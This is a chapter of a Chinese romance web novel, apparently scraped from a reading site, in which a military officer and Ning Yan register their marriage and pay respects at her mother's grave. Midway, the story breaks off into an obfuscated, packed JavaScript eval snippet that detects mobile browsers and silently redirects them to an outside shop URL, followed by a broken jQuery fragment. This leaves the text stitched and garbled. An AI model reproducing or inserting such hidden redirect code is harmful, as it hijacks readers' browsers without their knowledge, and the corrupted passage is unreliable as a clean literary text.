默认冷灰
24号文字
方正启体

7. 第 7 章

作者:萌铃千叶本书字数:K更新时间:
    “出去就不热了。”


    江骄伸手接过两张叠好的结婚介绍信,解开风纪扣,塞到军装内的衬衫口袋,微扬起下巴,重新系上领扣。


    宁滟全程看着他藏介绍的过程,“下楼就到区政府了。”


    江骄点头:“走。”


    宁滟:“......”


    她的意思是没必要把结婚介绍信放那么里面。


    区政府下楼就到了,几分钟的路程不但丢不了,来来回回解扣子多麻烦。


    再说区政府的干部也并不少。


    但看江骄已经往外走,宁滟没再张口。


    毕竟他这种行为,对于结婚,也是一种重视。


    江骄发现宁滟没有立即跟上他,脸上刚出现的几丝笑意,瞬间凝固。


    他不给宁滟后悔的机会,伸手攥住她的手。


    突然被握住手的宁滟,吃惊抬头,下意识挣了挣,被他收紧的掌心枪茧磨得有点疼,“给人看见不好。”


    江骄紧紧反握住她的手往外走,“到门口就松开。”


    宁滟跟着他走到门口,出了门果然紧攥着她的手即刻松开。


    不过几步路,也要牵手?


    宁滟耳朵发热。


    江骄将公寓的门上锁,回过头看见宁滟羞红的脸,顿住脚步,倒是有了勇气问出一直压抑不想问的话:“想好了?”


    “什么?”


    “结婚。”


    人都走出来了。


    结婚介绍信也开好了。


    还问这话。


    宁滟看着他:“你想好了?”


    江骄:“我当然想好了。”


    宁滟:“你当然,我也当然。”


    听到宁滟语气里的一丝不服气,江骄嘴角很小弧度的扯动两下,“那你刚才盯着结婚报告看了那么久不说话。”


    宁滟愣了一下,解释:“太快了。”


    不等江骄回答,宁滟继续解释:“虽然你说只要我同意,我们就能结得成婚,但没想到你的结婚申请报告这么快就能得到批准。”


    江骄转过头,看向走廊窗外成群的春雀,叽喳鸟鸣此时听了觉得格外悦耳,“哦。”


    江骄放缓脚步等宁滟一起朝着楼梯口走去。


    形似奖状的结婚证,四周用玉米、麦穗、月季花、双喜点缀得喜气洋洋。


    竖排繁体写着宁滟和江骄的姓名、年龄、籍贯,结婚证上盖着人民政府鲜红印章,正式庄重的宣布两人成为已婚的身份。


    耳边传来声声恭喜和作为军属的谆谆教诲,宁滟看着结婚证久久没法回神。


    等一声声道谢停不下来,抬头才发现江骄不知道什么时候手里多了喜糖和香烟,正在散给民政科的干部们。


    宁滟回过神来,也对着办事的干部们道谢,随着江骄一起走出区政府大门。


    “给我。”


    “什么?”


    江骄看着表情明显还恍惚的宁滟,偏过头笑了,“你要问多少句什么?”


    “什......”


    宁滟咽下下意识的话,想到一个早上确实说了很多句什么,顺着他的视线看向自己手里的结婚证,明白了意思,递了过去。


    等上了军车,江骄不知道从哪里拿出一个木盒,先将结婚证装进红色布袋里,再放到木盒里,最后上了锁。


    看上去比藏金条还要小心郑重。


    宁滟看着他放好,双手搭在方向盘上,发动汽车,便移开了视线,没有听到一声长呼紧跟着汽车轰鸣声后面在车厢内响起。


    不像刚领完结婚证的新婚夫妻,应该喜笑颜开甜甜蜜蜜跟亲朋好友分享喜悦,或是两人之间也应该喜笑颜开甜甜蜜蜜的说不完亲昵的话,两人一路无言。


    结了婚,仿佛还没有没结婚之前有话可说。


    宁滟仔细回想,确实如此。


    自从醒来后,重遇江骄,他们每一次见面都没有出现无话可说。


    进了南风公墓,江骄先拿着扫把将墓碑周围厚积的灰尘树叶清扫干净,再拿出抹布先后将墓碑擦的干干净净,接着又拿出一块抹布继续擦了一遍。


    宁滟看着他认真仔细的行为,内心温暖之余,还有不解。


    但江骄很忙,她没有机会问。


    他擦完墓碑,走到路旁拿回了墓园烧纸钱的铁桶,紧接着将篮子里的蟹壳黄、水晶芝麻饼、条头糕放到盘子里,一一摆放在墓碑前后,拆开两个铝饭盒,不知道什么时候装的酱鸭、熏鱼、八宝辣酱、葱烤鲫鱼也摆上去。


    拧开一瓶黄酒,倒了一杯摆在菜前,拿出香炉和蜡烛,用火柴点燃,抽出三柱香放到烛火上燃烧冒烟,递给宁滟。


    宁滟:“.......”


    江骄看宁滟不接,“我先?”


    “你什么时候准备的这么多东西?”


    这是宁滟想问的话,但也不是最想问的话,宁滟不等他回答,问:“你心里一点都没怪她?”


    乍然提起当年的事,江骄沉默一瞬,“为什么这么问?”


    香点燃了,燃烧一截的香灰弯曲掉落,宁滟刚想伸手去接,江骄双手举起三根香,正对墓碑道:“妈,我和宁宁结婚了。”


    久违的小名,让宁滟心头一颤,双眼被随之而来的酸涩控制不住湿了眼睛。


    泪眼朦胧中对上水泥墓碑上端镶嵌的瓷质遗像,看着熟悉但又因过于年轻而有点陌生的面孔,过往经历中压抑心底的情绪排山倒海反扑上头,宁滟眼泪瞬间溢出眼眶,一颗接一颗的落下。


    三炷点燃的香再次递到面前,宁滟伸手接过,面对墓碑,嗓子紧得根本说不出话,对着墓碑鞠三躬,将香插到香炉里,又对着墓碑跪下磕了三个响头。


    抬头时才发现江骄也跟着她跪下又磕了一遍。


    江骄对于母亲的尊重和重视,远超宁滟意料之外。


    毕竟当年母亲毫不留情的把他赶出家门,他才会去参军上战场。


    难道是因为他今天已是团级干部,对当年母亲的不留情面释然了?


    江骄站起身,拿出一沓纸钱,宁滟伸手想接过纸钱,好方便他两只手点燃火柴。


    “你先退远点,别呛着。”


    江骄并没有给她,将纸钱丢到铁桶里,点燃火柴放进去,等铁桶里火烧得旺盛后,才让宁滟过来和他一起往里面递纸钱。


    但宁滟只递了两张,江骄便又把她赶走了,像是只让她过来意思一下。


    香和纸钱同时燃烧,宁滟的眼泪都被蒸发干净,疼得闭了闭眼。


    寒风在空旷的墓园呼啸盘旋,树叶簌簌作响。


    江骄屹立在冷风和火焰中,背影瘦削而宽阔,宁滟被他挡住风口后不再觉得冷了,被香熏得难以忍受的眼睛也不再难受。


    宁滟上前拉了拉他的衣角,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374925|200048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “站到旁边去吧。”


    江骄将火钳丢到地上,带着宁滟一起站到背风处,两人一起看着墓碑前的香炉,要等香炉里的香烧完才能离开。


    “刚才为什么那么问?”


    宁滟反应了一会他的问题,知道他是在说,她问他怪不怪母亲的问题,“你虽一直没说,但确实是离开茂林别墅,你才会走投无路上战场。”


    “不是走投无路才上战场。”


    宁滟转头看向他。


    “国家有难,我早就想去参军杀敌。”江骄认真看着宁滟:“我不知道妈和你说过什么,又发生了什么事情,但妈确实没有赶过我,而且当初,她还给了我两个选择。”


    宁滟勾在耳朵上的发丝被风吹了许久,才轻声问:“她给了你什么选择?”


    “第一个选择,送我出国留学。”


    江骄道:“第二个选择,是给我一笔启动资金,让我在沪城经商。”


    宁滟双眼充满了迷茫,这和她记忆中传统、封建、严厉、恨她的母亲,完全不是一个人。


    “......怎么会这样,当时明明是我妈把你连夜赶出家门。”


    “因为我两个都没有选择,国难当头,我说想上战场,她很生气。”


    宁滟缓缓看向墓碑上的母亲照片,“没人告诉我这些事。”


    江骄试探问:“你和妈后来关系不好?”


    宁滟沉默,点了点头。


    江骄继续试探问:“因为你误会是她无情把我赶出门?”


    宁滟:“......我和她,本来关系也不好。”


    江骄不再说话。


    铁桶里的纸钱已经烧成灰烬,寒风裹挟走火焰的余温,先前的温度重新变回了冰凉。


    宁滟拒绝江骄带她去百货商店买绿布的行程,当时只是找了个话头,再说军装的布只供军人穿,普通商店并买不到特种布匹。


    途径一家照相馆,宁滟盯着看了很久,车子略过,她依然回头看了一眼,但没有开口。


    她不知道怎么说。


    她的确和江骄成了名正言顺的夫妻,却不是像年少时憧憬计划的那样,情到深处,水到渠成结婚。


    “照相馆取照片一般得要一个星期。”江骄道:“一个星期后我们肯定已经不在沪城了,驻地军人服务社有照相馆。”


    宁滟抬起双眼看着他轮廓利落的侧脸,“可以邮寄。”


    江骄长睫微顿。


    等去了驻地,拍再多的照片,也不是今天的日期。


    宁滟重复一遍,“可以邮寄,只要有地址,照相馆可以代为邮寄。”


    江骄转动一圈方向盘,车子调头往来路疾驰而去。


    宁滟露出笑容。


    江骄余光尽收眼底,“太久了。”


    宁滟不想说“什么”,但想接这个话,又确实得说“什么”。


    江骄像是又知道她在想什么,难得一笑,“太久没有人给我邮寄照片,忘了。”


    宁滟笑容微顿,随即笑得更明显。


    明白了他这句话的意思。


    这些年,他没有和其他姑娘打过交道。


    至少,没有到会写信的交道。


    当初他刚上战场,给她来信,三句话不离给他寄她的照片。


    甚至有一封信上千个字,一半的字都是提醒她寄照片。


    生怕她忘记。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)